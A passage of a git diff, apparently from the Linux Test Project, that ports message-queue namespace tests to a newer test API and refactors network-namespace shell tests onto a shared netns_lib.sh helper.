{ - perror("mq_close(mqd) failed"); - exit(1); - } else if (ltp_syscall(__NR_mq_unlink, - NOSLASH_MQ1) < 0) { - perror("mq_unlink(" NOSLASH_MQ1 - ") failed"); - exit(1); - } else if (write(p2[1], "done", - strlen("done") + 1) - < 0) { - perror("write(p2[1], " - "\"done\", ..) failed"); - exit(1); - } - - } - - } +static mqd_t mqd; +static char *str_op; - } +static int create_message_queue(void) +{ + return mq_open(MQNAME, O_RDWR | O_CREAT | O_EXCL, 0777, NULL); +} - } - exit(0); +static void shared_child(void) +{ + mqd_t mqd1 = -1; + TST_EXP_FAIL(mqd1 = create_message_queue(), EEXIST); + + if (mqd1 != -1) { + SAFE_MQ_CLOSE(mqd1); + SAFE_MQ_UNLINK(MQNAME); + } } -static void setup(void) +static void isolated_child(void) { - tst_require_root(); - check_mqns(); + mqd_t mqd1 = -1; + + TST_EXP_POSITIVE(mqd1 = create_message_queue()); + + if (mqd1 != -1) { + SAFE_MQ_CLOSE(mqd1); + SAFE_MQ_UNLINK(MQNAME); + } } -int main(int argc, char *argv[]) +static void run(void) { - int r; - mqd_t mqd; - char buf[30]; - int use_clone = T_UNSHARE; - - setup(); - - if (argc == 2 && strcmp(argv[1], "-clone") == 0) { - tst_resm(TINFO, - "Testing posix mq namespaces through clone(2)."); - use_clone = T_CLONE; - } else - tst_resm(TINFO, - "Testing posix mq namespaces through unshare(2)."); - - if (pipe(p1) == -1 || pipe(p2) == -1) { - tst_brkm(TBROK | TERRNO, NULL, "pipe"); - } + const struct tst_clone_args clone_args = { + .flags = CLONE_NEWIPC, + .exit_signal = SIGCHLD, + }; - /* fire off the test */ - r = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_mqueue, NULL); - if (r < 0) { - tst_brkm(TFAIL, NULL, "failed clone/unshare"); - } + tst_res(TINFO, "Checking namespaces isolation from parent to child"); - tst_resm(TINFO, "Checking namespaces isolation (child to parent)"); + if (str_op && !strcmp(str_op, "clone")) { + tst_res(TINFO, "Spawning isolated process"); - close(p1[0]); - close(p2[1]); - if (write(p1[1], "go", strlen("go") + 1) < 0) { - tst_brkm(TBROK, NULL, "write(p1[1], \"go\", ..) failed"); - } + if (!SAFE_CLONE(&clone_args)) { + isolated_child(); + return; + } + } else if (str_op && !strcmp(str_op, "unshare")) { + tst_res(TINFO, "Spawning unshared process"); - if (read(p2[0], buf, 7) < 0) { - tst_resm(TBROK | TERRNO, "read(p2[0], ..) failed"); - } else if (!strcmp(buf, "mqfail")) { - tst_resm(TFAIL, "child process could not create mqueue"); - umount(DEV_MQUEUE); - } else if (strcmp(buf, "mqopen")) { - tst_resm(TFAIL, "child process could not create mqueue"); - umount(DEV_MQUEUE); - } else { - mqd = ltp_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDONLY); - if (mqd == -1) { - tst_resm(TPASS, - "Parent process can't see the mqueue"); - } else { - tst_resm(TFAIL | TERRNO, - "Parent process found mqueue"); - mq_close(mqd); + if (!SAFE_FORK()) { + SAFE_UNSHARE(CLONE_NEWIPC); + isolated_child(); + return; } - if (write(p1[1], "cont", 5) < 0) { - tst_resm(TBROK | TERRNO, "write(p1[1], ..) failed"); + } else { + tst_res(TINFO, "Spawning plain process"); + + if (!SAFE_FORK()) { + shared_child(); + return; } - read(p2[0], buf, 7); } +} - tst_exit(); +static void setup(void) +{ + mqd = SAFE_MQ_OPEN(MQNAME, O_RDWR | O_CREAT | O_EXCL, 0777, NULL); } + +static void cleanup(void) +{ + if (mqd != -1) { + SAFE_MQ_CLOSE(mqd); + SAFE_MQ_UNLINK(MQNAME); + } +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Child process isolation " }, + {}, + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL + }, +}; diff --git a/testcases/kernel/containers/mqns/mqns_03.c b/testcases/kernel/containers/mqns/mqns_03.c index e68ace86..4a0399dd 100755 --- a/testcases/kernel/containers/mqns/mqns_03.c +++ b/testcases/kernel/containers/mqns/mqns_03.c @@ -1,207 +1,154 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2009 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -* Author: Serge Hallyn -* -* Check ipcns+sb longevity -* -* Mount mqueue fs -* unshare -* In unshared process: -* Create "/mq1" with mq_open() -* Mount mqueuefs -* Check that /mq1 exists -* Create /dev/mqueue/mq2 through vfs (create(2)) -* Umount /dev/mqueue -* Remount /dev/mqueue -* Check that both /mq1 and /mq2 exist - -***************************************************************************/ - -#ifndef _GNU_SOURCE -#define _GNU_SOURCE -#endif -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "mqns.h" -#include "mqns_helper.h" - -char *TCID = "posixmq_namespace_03"; -int TST_TOTAL = 1; - -int p1[2]; -int p2[2]; - -#define FNAM1 DEV_MQUEUE2 SLASH_MQ1 -#define FNAM2 DEV_MQUEUE2 SLASH_MQ2 - -int check_mqueue(void *vtest) + * Copyright (c) International Business Machines Corp., 2009 + * Copyright (c) Serge Hallyn + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test mqueuefs from an isolated/forked process namespace. + * + * [Algorithm] + * + * Inside new IPC namespace: + * + * - mq_open() /MQ1 + * - mount mqueue inside the temporary folder + * - check for /MQ1 existance + * - creat() /MQ2 inside the temporary folder + * - umount + * - mount mqueue inside the temporary folder + * - check /MQ1 existance + * - check /MQ2 existance + * - umount + */ + +#include "tst_test.h" +#include "lapi/sched.h" +#include "tst_safe_posix_ipc.h" +#include "tst_safe_stdio.h" +#include "tst_safe_macros.h" + +#define CHECK_MQ_OPEN_RET(x) ((x) >= 0 || ((x) == -1 && errno != EMFILE)) + +#define DEVDIR "ltp_mqueue" +#define MQNAME1 "/MQ1" +#define MQNAME2 "/MQ2" +#define MQUEUE1 DEVDIR MQNAME1 +#define MQUEUE2 DEVDIR MQNAME2 + +static char *str_op; + +static void check_mqueue(void) { - char buf[30]; - mqd_t mqd; int rc; - struct stat statbuf; + mqd_t mqd; - (void) vtest; + tst_res(TINFO, "Creating %s mqueue from within child process", MQNAME1); - close(p1[1]); - close(p2[0]); + mqd = TST_RETRY_FUNC( + mq_open(MQNAME1, O_RDWR | O_CREAT | O_EXCL, 0777, NULL), + CHECK_MQ_OPEN_RET); + if (mqd == -1) + tst_brk(TBROK | TERRNO, "mq_open failed"); - if (read(p1[0], buf, 3) != 3) { /* go */ - perror("read failed"); - exit(1); - } + SAFE_MQ_CLOSE(mqd); - mqd = ltp_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDWR | O_CREAT | O_EXCL, - 0755, NULL); - if (mqd == -1) { - write(p2[1], "mqfail", 7); - exit(1); - } + tst_res(TINFO, "Mount %s from within child process", DEVDIR); - mq_close(mqd); + SAFE_MOUNT("mqueue", DEVDIR, "mqueue", 0, NULL); - rc = mount("mqueue", DEV_MQUEUE2, "mqueue", 0, NULL); - if (rc == -1) { - write(p2[1], "mount1", 7); - exit(1); - } + if (access(MQUEUE1, F_OK)) + tst_res(TFAIL, MQUEUE1 " does not exist at first mount"); + else + tst_res(TPASS, MQUEUE1 " exists at first mount"); - rc = stat(FNAM1, &statbuf); - if (rc == -1) { - write(p2[1], "stat1", 6); - exit(1); - } + tst_res(TINFO, "Creating %s from within child process", MQUEUE2); - rc = creat(FNAM2, 0755); - if (rc == -1) { - write(p2[1], "creat", 6); - exit(1); - } + rc = SAFE_CREAT(MQUEUE2, 0755); + SAFE_CLOSE(rc); - close(rc); + tst_res(TINFO, "Mount %s from within child process a second time", DEVDIR); - rc = umount(DEV_MQUEUE2); - if (rc == -1) { - write(p2[1], "umount", 7); - exit(1); - } + SAFE_UMOUNT(DEVDIR); + SAFE_MOUNT("mqueue", DEVDIR, "mqueue", 0, NULL); - rc = mount("mqueue", DEV_MQUEUE2, "mqueue", 0, NULL); - if (rc == -1) { - write(p2[1], "mount2", 7); - exit(1); - } + if (access(MQUEUE1, F_OK)) + tst_res(TFAIL, MQUEUE1 " does not exist at second mount"); + else + tst_res(TPASS, MQUEUE1 " exists at second mount"); - rc = stat(FNAM1, &statbuf); - if (rc == -1) { - write(p2[1], "stat2", 7); - exit(1); - } + if (access(MQUEUE2, F_OK)) + tst_res(TFAIL, MQUEUE2 " does not exist at second mount"); + else + tst_res(TPASS, MQUEUE2 " exists at second mount"); - rc = stat(FNAM2, &statbuf); - if (rc == -1) { - write(p2[1], "stat3", 7); - exit(1); - } + SAFE_UMOUNT(DEVDIR); - write(p2[1], "done", 5); + SAFE_MQ_UNLINK(MQNAME1); + SAFE_MQ_UNLINK(MQNAME2); +} - exit(0); +static void run(void) +{ + const struct tst_clone_args clone_args = { + .flags = CLONE_NEWIPC, + .exit_signal = SIGCHLD + }; + + if (str_op && !strcmp(str_op, "clone")) { + tst_res(TINFO, "Spawning isolated process"); + + if (!SAFE_CLONE(&clone_args)) { + check_mqueue(); + return; + } + } else if (str_op && !strcmp(str_op, "unshare")) { + tst_res(TINFO, "Spawning unshared process"); + + if (!SAFE_FORK()) { + SAFE_UNSHARE(CLONE_NEWIPC); + check_mqueue(); + return; + } + } } static void setup(void) { - tst_require_root(); - check_mqns(); + if (!str_op || (strcmp(str_op, "clone") && strcmp(str_op, "unshare"))) + tst_brk(TCONF, "Please specify clone|unshare child isolation"); + + SAFE_MKDIR(DEVDIR, 0755); } -int main(int argc, char *argv[]) +static void cleanup(void) { - int r; - char buf[30]; - int use_clone = T_UNSHARE; - - setup(); - - if (argc == 2 && strcmp(argv[1], "-clone") == 0) { - tst_resm(TINFO, "Testing posix mq namespaces through clone(2)"); - use_clone = T_CLONE; - } else - tst_resm(TINFO, - "Testing posix mq namespaces through unshare(2)"); - - if (pipe(p1) == -1 || pipe(p2) == -1) - tst_brkm(TBROK | TERRNO, NULL, "pipe failed"); - - /* fire off the test */ - r = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_mqueue, NULL); - if (r < 0) { - tst_brkm(TBROK | TERRNO, NULL, "failed clone/unshare"); - } - - tst_resm(TINFO, "Checking correct umount+remount of mqueuefs"); - - mkdir(DEV_MQUEUE2, 0755); - - close(p1[0]); - close(p2[1]); - write(p1[1], "go", 3); - - read(p2[0], buf, 7); - r = TFAIL; - if (!strcmp(buf, "mqfail")) { - tst_resm(TFAIL, "child process could not create mqueue"); - goto fail; - } else if (!strcmp(buf, "mount1")) { - tst_resm(TFAIL, "child process could not mount mqueue"); - goto fail; - } else if (!strcmp(buf, "stat1x")) { - tst_resm(TFAIL, "mq created by child is not in mqueuefs"); - goto fail; - } else if (!strcmp(buf, "creat")) { - tst_resm(TFAIL, "child couldn't creat mq through mqueuefs"); - goto fail; - } else if (!strcmp(buf, "umount")) { - tst_resm(TFAIL, "child couldn't umount mqueuefs"); - goto fail; - } else if (!strcmp(buf, "mount2")) { - tst_resm(TFAIL, "child couldn't remount mqueuefs"); - goto fail; - } else if (!strcmp(buf, "stat2")) { - tst_resm(TFAIL, - "mq_open()d file gone after remount of mqueuefs"); - goto fail; - } else if (!strcmp(buf, "stat3")) { - tst_resm(TFAIL, - "creat(2)'d file gone after remount of mqueuefs"); - goto fail; - } + if (!access(MQUEUE1, F_OK)) + SAFE_MQ_UNLINK(MQNAME1); - tst_resm(TPASS, "umount+remount of mqueuefs remounted the right fs"); + if (!access(MQUEUE2, F_OK)) + SAFE_MQ_UNLINK(MQNAME2); - r = 0; -fail: - umount(DEV_MQUEUE2); - rmdir(DEV_MQUEUE2); - tst_exit(); + if (tst_is_mounted(DEVDIR)) + SAFE_UMOUNT(DEVDIR); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .needs_tmpdir = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Child process isolation " }, + {}, + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL + }, +}; diff --git a/testcases/kernel/containers/mqns/mqns_04.c b/testcases/kernel/containers/mqns/mqns_04.c index a32e8b9a..2d943e1b 100755 --- a/testcases/kernel/containers/mqns/mqns_04.c +++ b/testcases/kernel/containers/mqns/mqns_04.c @@ -1,187 +1,147 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2009 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -* Author: Serge Hallyn -* -* Check mqueuefs lifetime -* . parent creates /dev/mqueue2 -* . child mounts mqueue there -* . child does mq_open("/ab") -* . parent checks for /dev/mqueue2 -* . child exits -* . parent checks for /dev/mqueue2 -* . parent tries 'touch /dev/mqueue2/dd' -> should fail -* . parent umounts /dev/mqueue2 - -***************************************************************************/ - -#ifndef _GNU_SOURCE -#define _GNU_SOURCE -#endif -#include -#include + * Copyright (c) International Business Machines Corp., 2009 + * Copyright (c) Serge Hallyn + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test mqueuefs manipulation from child/parent namespaces. + * + * [Algorithm] + * + * - parent creates mqueue folder in + * - child mq_open() /MQ1 mqueue + * - child mounts mqueue there + * - parent checks for /mqueue/MQ1 existence + * - child exits + * - parent checks for /mqueue/MQ1 existence + * - parent tries 'touch /mqueue/MQ2' -> should fail + * - parent umount mqueuefs + */ + #include -#include -#include -#include -#include -#include -#include -#include "mqns.h" -#include "mqns_helper.h" +#include "tst_test.h" +#include "lapi/sched.h" +#include "tst_safe_posix_ipc.h" +#include "tst_safe_stdio.h" +#include "tst_safe_macros.h" -char *TCID = "posixmq_namespace_04"; -int TST_TOTAL = 1; +#define CHECK_MQ_OPEN_RET(x) ((x) >= 0 || ((x) == -1 && errno != EMFILE)) -int p1[2]; -int p2[2]; +#define DEVDIR "ltp_mqueue" +#define MQNAME1 "/MQ1" +#define MQNAME2 "/MQ2" +#define MQUEUE1 DEVDIR MQNAME1 +#define MQUEUE2 DEVDIR MQNAME2 -#define FNAM1 DEV_MQUEUE2 SLASH_MQ1 -#define FNAM2 DEV_MQUEUE2 SLASH_MQ2 +static char *str_op; -int check_mqueue(void *vtest) +static void check_mqueue(void) { - char buf[30]; mqd_t mqd; - int rc; - (void) vtest; + tst_res(TINFO, "Creating %s mqueue from within child process", MQNAME1); - close(p1[1]); - close(p2[0]); + mqd = TST_RETRY_FUNC( + mq_open(MQNAME1, O_RDWR | O_CREAT | O_EXCL, 0755, NULL), + CHECK_MQ_OPEN_RET); + if (mqd == -1) + tst_brk(TBROK | TERRNO, "mq_open failed"); - read(p1[0], buf, 3); /* go */ + SAFE_MQ_CLOSE(mqd); - mqd = ltp_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDWR | O_CREAT | O_EXCL, - 0755, NULL); - if (mqd == -1) { - write(p2[1], "mqfail", 7); - tst_exit(); - } + tst_res(TINFO, "Mount %s from within child process", DEVDIR); - mq_close(mqd); + SAFE_MOUNT("mqueue", DEVDIR, "mqueue", 0, NULL); + + TST_CHECKPOINT_WAKE_AND_WAIT(0); +} - rc = mount("mqueue", DEV_MQUEUE2, "mqueue", 0, NULL); - if (rc == -1) { - perror("mount"); - write(p2[1], "mount", 6); - tst_exit(); +static void run(void) +{ + const struct tst_clone_args clone_args = { + .flags = CLONE_NEWIPC, + .exit_signal = SIGCHLD + }; + + if (str_op && !strcmp(str_op, "clone")) { + tst_res(TINFO, "Spawning isolated process"); + + if (!SAFE_CLONE(&clone_args)) { + check_mqueue(); + return; + } + } else if (str_op && !strcmp(str_op, "unshare")) { + tst_res(TINFO, "Spawning unshared process"); + + if (!SAFE_FORK()) { + SAFE_UNSHARE(CLONE_NEWIPC); + check_mqueue(); + return; + } } - write(p2[1], "go", 3); - read(p1[0], buf, 3); + TST_CHECKPOINT_WAIT(0); - tst_exit(); -} + if (access(MQUEUE1, F_OK)) + tst_res(TFAIL, MQUEUE1 " can't be accessed from parent"); + else + tst_res(TPASS, MQUEUE1 " can be accessed from parent"); -static void setup(void) -{ - tst_require_root(); - check_mqns(); -} + TST_CHECKPOINT_WAKE(0); -int main(int argc, char *argv[]) -{ - int rc; - int status; - char buf[30]; - struct stat statbuf; - int use_clone = T_UNSHARE; - - setup(); - - if (argc == 2 && strcmp(argv[1], "-clone") == 0) { - tst_resm(TINFO, - "Testing posix mq namespaces through clone(2)."); - use_clone = T_CLONE; - } else - tst_resm(TINFO, - "Testing posix mq namespaces through unshare(2)."); - - if (pipe(p1) == -1) { - perror("pipe"); - exit(EXIT_FAILURE); - } - if (pipe(p2) == -1) { - perror("pipe"); - exit(EXIT_FAILURE); - } + tst_res(TINFO, "Waiting child to exit"); - mkdir(DEV_MQUEUE2, 0755); + tst_reap_children(); - tst_resm(TINFO, "Checking mqueue filesystem lifetime"); + if (access(MQUEUE1, F_OK)) + tst_res(TFAIL, MQUEUE1 " can't be accessed from parent"); + else + tst_res(TPASS, MQUEUE1 " can be accessed from parent"); - /* fire off the test */ - rc = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_mqueue, NULL); - if (rc < 0) { - tst_resm(TFAIL, "failed clone/unshare"); - goto fail; - } + tst_res(TINFO, "Try to create %s from parent", MQUEUE2); - close(p1[0]); - close(p2[1]); - write(p1[1], "go", 3); - - read(p2[0], buf, 7); - if (!strcmp(buf, "mqfail")) { - tst_resm(TFAIL, "child process could not create mqueue"); - goto fail; - } else if (!strcmp(buf, "mount")) { - tst_resm(TFAIL, "child process could not mount mqueue"); - goto fail; - } + TST_EXP_FAIL(creat(MQUEUE2, 0755), EACCES); - rc = stat(FNAM1, &statbuf); - if (rc == -1) { - perror("stat"); - write(p1[1], "go", 3); - tst_resm(TFAIL, "parent could not see child's created mq"); - goto fail; - } - write(p1[1], "go", 3); + SAFE_UMOUNT(DEVDIR); +} - rc = wait(&status); - if (rc == -1) { - perror("wait"); - tst_resm(TFAIL, "error while parent waited on child to exit"); - goto fail; - } - if (!WIFEXITED(status)) { - tst_resm(TFAIL, "Child did not exit normally (status %d)", - status); - goto fail; - } - rc = stat(FNAM1, &statbuf); - if (rc == -1) { - tst_resm(TFAIL, - "parent's view of child's mq died with child"); - goto fail; - } +static void setup(void) +{ + if (!str_op || (strcmp(str_op, "clone") && strcmp(str_op, "unshare"))) + tst_brk(TCONF, "Please specify clone|unshare child isolation"); - rc = creat(FNAM2, 0755); - if (rc != -1) { - tst_resm(TFAIL, - "parent was able to create a file in dead child's mqfs"); - goto fail; - } + SAFE_MKDIR(DEVDIR, 0755); +} - tst_resm(TPASS, "Child mqueue fs still visible for parent"); +static void cleanup(void) +{ + if (!access(MQUEUE1, F_OK)) + SAFE_MQ_UNLINK(MQNAME1); -fail: - umount(DEV_MQUEUE2); - rmdir(DEV_MQUEUE2); + if (!access(MQUEUE2, F_OK)) + SAFE_MQ_UNLINK(MQNAME2); - tst_exit(); + if (tst_is_mounted(DEVDIR)) + SAFE_UMOUNT(DEVDIR); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Child process isolation " }, + {}, + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL + }, +}; diff --git a/testcases/kernel/containers/netns/Makefile b/testcases/kernel/containers/netns/Makefile index 3cc2b4ae..a8edd31b 100755 --- a/testcases/kernel/containers/netns/Makefile +++ b/testcases/kernel/containers/netns/Makefile @@ -2,12 +2,12 @@ # Copyright (c) International Business Machines Corp., 2008 # Author: Veerendra # Copyright (c) 2015 Red Hat, Inc. +# Copyright (C) 2023 SUSE LLC Andrea Cervesato top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk -include $(abs_srcdir)/../Makefile.inc -LDLIBS := -lclone -lltp +INSTALL_TARGETS := *.sh include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/containers/netns/netns_breakns.sh b/testcases/kernel/containers/netns/netns_breakns.sh index 1ce5d37e..a5cec095 100755 --- a/testcases/kernel/containers/netns/netns_breakns.sh +++ b/testcases/kernel/containers/netns/netns_breakns.sh @@ -1,23 +1,9 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel # Copyright (c) Köry Maincent 2020 # Copyright (c) 2015 Red Hat, Inc. # -# SYNOPSIS: -# netns_breakns.sh -# -# OPTIONS: -# * NS_EXEC_PROGRAM (ns_exec|ip) -# Program which will be used to enter and run other commands -# inside a network namespace. -# * IP_VERSION (ipv4|ipv6) -# Version of IP. (ipv4|ipv6) -# * COMM_TYPE (netlink|ioctl) -# Communication type between kernel and user space -# for basic setup: enabling and assigning IP addresses -# to the virtual ethernet devices. (Uses 'ip' command for netlink -# and 'ifconfig' for ioctl.) -# # Tests communication with ip (uses netlink) and ifconfig (uses ioctl) # over a device which is not visible from the current network namespace. # @@ -26,20 +12,7 @@ # 1. using netlink (ip command). # 2. using ioctl (ifconfig command). -TST_POS_ARGS=3 -TST_SETUP=do_setup -TST_TESTFUNC=do_test -. netns_helper.sh - -PROG=$1 -IP_VER=$2 -COM_TYPE=$3 - -do_setup() -{ - netns_setup $PROG $IP_VER $COM_TYPE "192.168.0.2" "192.168.0.3" "fd00::2" "fd00::3" - tst_res TINFO "NS interaction: $PROG | devices setup: $COM_TYPE" -} +TST_TESTFUNC="do_test" do_test() { @@ -49,4 +22,5 @@ do_test() EXPECT_FAIL $NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig veth1 $IFCONF_IN6_ARG $IP1/$NETMASK } +. netns_lib.sh tst_run diff --git a/testcases/kernel/containers/netns/netns_comm.sh b/testcases/kernel/containers/netns/netns_comm.sh index ccb8b47b..c7c2ae07 100755 --- a/testcases/kernel/containers/netns/netns_comm.sh +++ b/testcases/kernel/containers/netns/netns_comm.sh @@ -1,23 +1,9 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel # Copyright (c) Köry Maincent 2020 # Copyright (c) 2015 Red Hat, Inc. # -# SYNOPSIS: -# netns_comm.sh -# -# OPTIONS: -# * NS_EXEC_PROGRAM (ns_exec|ip) -# Program which will be used to enter and run other commands -# inside a network namespace. -# * IP_VERSION (ipv4|ipv6) -# Version of IP. (ipv4|ipv6) -# * COMM_TYPE (netlink|ioctl) -# Communication type between kernel and user space -# for basic setup: enabling and assigning IP addresses -# to the virtual ethernet devices. (Uses 'ip' command for netlink -# and 'ifconfig' for ioctl.) -# # Tests that a separate network namespace can configure and communicate # over the devices it sees. Tests are done using netlink(7) ('ip' command) # or ioctl(2) ('ifconfig' command) for controlling devices. @@ -29,42 +15,24 @@ # 3. communication over the lo (localhost) device in a separate # network namespace -TST_POS_ARGS=3 -TST_SETUP=do_setup -TST_TESTFUNC=do_test -. netns_helper.sh - -PROG=$1 -IP_VER=$2 -COM_TYPE=$3 - -do_setup() -{ - netns_setup $PROG $IP_VER $COM_TYPE "192.168.0.2" "192.168.0.3" "fd00::2" "fd00::3" - tst_res TINFO "NS interaction: $PROG | devices setup: $COM_TYPE" -} +TST_TESTFUNC="do_test" do_test() { - EXPECT_PASS $NS_EXEC $NS_HANDLE0 $NS_TYPE $tping -q -c2 -I veth0 $IP1 1>/dev/null + local ip_lo="127.0.0.1" + [ "$TST_IPV6" ] && ip_lo="::1" + EXPECT_PASS $NS_EXEC $NS_HANDLE0 $NS_TYPE $tping -q -c2 -I veth0 $IP1 1>/dev/null EXPECT_PASS $NS_EXEC $NS_HANDLE1 $NS_TYPE $tping -q -c2 -I veth1 $IP0 1>/dev/null - case "$IP_VER" in - ipv4) ip_lo="127.0.0.1" ;; - ipv6) ip_lo="::1" ;; - esac - case "$COM_TYPE" in - netlink) - $NS_EXEC $NS_HANDLE0 $NS_TYPE ip link set dev lo up || \ - tst_brk TBROK "enabling lo device failed" - ;; - ioctl) - $NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig lo up || \ - tst_brk TBROK "enabling lo device failed" - ;; - esac + if [ "$COMM_TYPE" = "netlink" ]; then + ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ip link set dev lo up + else + ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig lo up + fi + EXPECT_PASS $NS_EXEC $NS_HANDLE0 $NS_TYPE $tping -q -c2 -I lo $ip_lo 1>/dev/null } +. netns_lib.sh tst_run diff --git a/testcases/kernel/containers/netns/netns_lib.sh b/testcases/kernel/containers/netns/netns_lib.sh new file mode 100644 index 00000000..f6977f72 --- /dev/null +++ b/testcases/kernel/containers/netns/netns_lib.sh @@ -0,0 +1,224 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel +# Copyright (c) Linux Test Project, 2014-2023 +# Copyright (c) 2015 Red Hat, Inc. + +TST_NEEDS_ROOT=1 +TST_NEEDS_CMDS="ip ping" +TST_NEEDS_DRIVERS="veth" + +TST_OPTS="eI" +TST_PARSE_ARGS="netns_parse_args" +TST_USAGE="netns_usage" +TST_SETUP="${TST_SETUP:-netns_setup}" +TST_CLEANUP="${TST_CLEANUP:-netns_cleanup}" + +TST_NET_SKIP_VARIABLE_INIT=1 + +# from tst_net_vars.c +IPV4_NET16_UNUSED="10.23" +IPV6_NET32_UNUSED="fd00:23" + +# Set to "net" for tst_ns_create/tst_ns_exec as their options requires +# to specify a namespace type. Empty for ip command. +NS_TYPE= + +# 'ping' or 'ping6' +tping= + +# Network namespaces handles for manipulating and executing commands inside +# namespaces. For 'tst_ns_exec' handles are PIDs of daemonized processes running +# in namespaces. +NS_HANDLE0= +NS_HANDLE1= + +# Adds "inet6 add" to the 'ifconfig' arguments which is required for the ipv6 +# version. Always use with 'ifconfig', even if ipv4 version of a test case is +# used, in which case IFCONF_IN6_ARG will be empty string. Usage: +# ifconfig $IFCONF_IN6_ARG IP/NETMASK +IFCONF_IN6_ARG= + +# Program which will be used to enter and run other commands inside a network namespace. +# (tst_ns_exec|ip) +NS_EXEC="ip" + +# Communication type between kernel and user space for basic setup: enabling and +# assigning IP addresses to the virtual ethernet devices. (Uses 'ip' command for +# netlink and 'ifconfig' for ioctl.) +# (netlink|ioctl) +COMM_TYPE="netlink" + +do_cleanup= + +netns_parse_args() +{ + case $1 in + e) NS_EXEC="tst_ns_exec" ;; + I) COMM_TYPE="ioctl"; tst_require_cmds ifconfig ;; + esac +} + +netns_usage() +{ + echo "usage: $0 [ -e ] [ -I ]" + echo "OPTIONS" + echo "-e Use tst_ns_exec instead of ip" + echo "-I Test ioctl (with ifconfig) instead of netlink (with ip)" +} + +netns_setup() +{ + if [ "$NS_EXEC" = "ip" ]; then + netns_ip_setup + else + NS_TYPE="net" + netns_ns_exec_setup + fi + + IP0=$(tst_ipaddr_un -c 1) + IP1=$(tst_ipaddr_un -c 2) + + if [ "$TST_IPV6" ]; then + IFCONF_IN6_ARG="inet6 add" + NETMASK=64 + else + NETMASK=24 + fi + + tping=ping$TST_IPV6 + + netns_set_ip + + tst_res TINFO "testing netns over $COMM_TYPE with $NS_EXEC $PROG" + do_cleanup=1 +} + +netns_cleanup() +{ + [ "$do_cleanup" ] || return + + if [ "$NS_EXEC" = "ip" ]; then + netns_ip_cleanup + else + netns_ns_exec_cleanup + fi +} + +# Sets up NS_EXEC to use 'tst_ns_exec', creates two network namespaces and stores +# their handles into NS_HANDLE0 and NS_HANDLE1 variables (in this case handles +# are PIDs of daemonized processes running in these namespaces). Virtual +# ethernet device is then created for each namespace. +netns_ns_exec_setup() +{ + local ret + + NS_EXEC="tst_ns_exec" + + NS_HANDLE0=$(tst_ns_create $NS_TYPE) + if [ $? -eq 1 ]; then + tst_res TINFO "$NS_HANDLE0" + tst_brk TBROK "unable to create a new network namespace" + fi + + NS_HANDLE1=$(tst_ns_create $NS_TYPE) + if [ $? -eq 1 ]; then + tst_res TINFO "$NS_HANDLE1" + tst_brk TBROK "unable to create a new network namespace" + fi + + $NS_EXEC $NS_HANDLE0 $NS_TYPE ip link add veth0 type veth peer name veth1 || \ + tst_brk TBROK "unable to create veth pair devices" + + $NS_EXEC $NS_HANDLE0 $NS_TYPE tst_ns_ifmove veth1 $NS_HANDLE1 + ret=$? + [ $ret -eq 0 ] && return + [ $ret -eq 32 ] && tst_brk TCONF "IFLA_NET_NS_PID not supported" + + tst_brk TBROK "unable to add device veth1 to the separate network namespace" +} + +# Sets up NS_EXEC to use 'ip netns exec', creates two network namespaces +# and stores their handles into NS_HANDLE0 and NS_HANDLE1 variables. Virtual +# ethernet device is then created for each namespace. +netns_ip_setup() +{ + ip netns > /dev/null || \ + tst_brk TCONF "ip without netns support (required iproute2 >= ss111010 - v3.0.0)" + + NS_EXEC="ip netns exec" + + 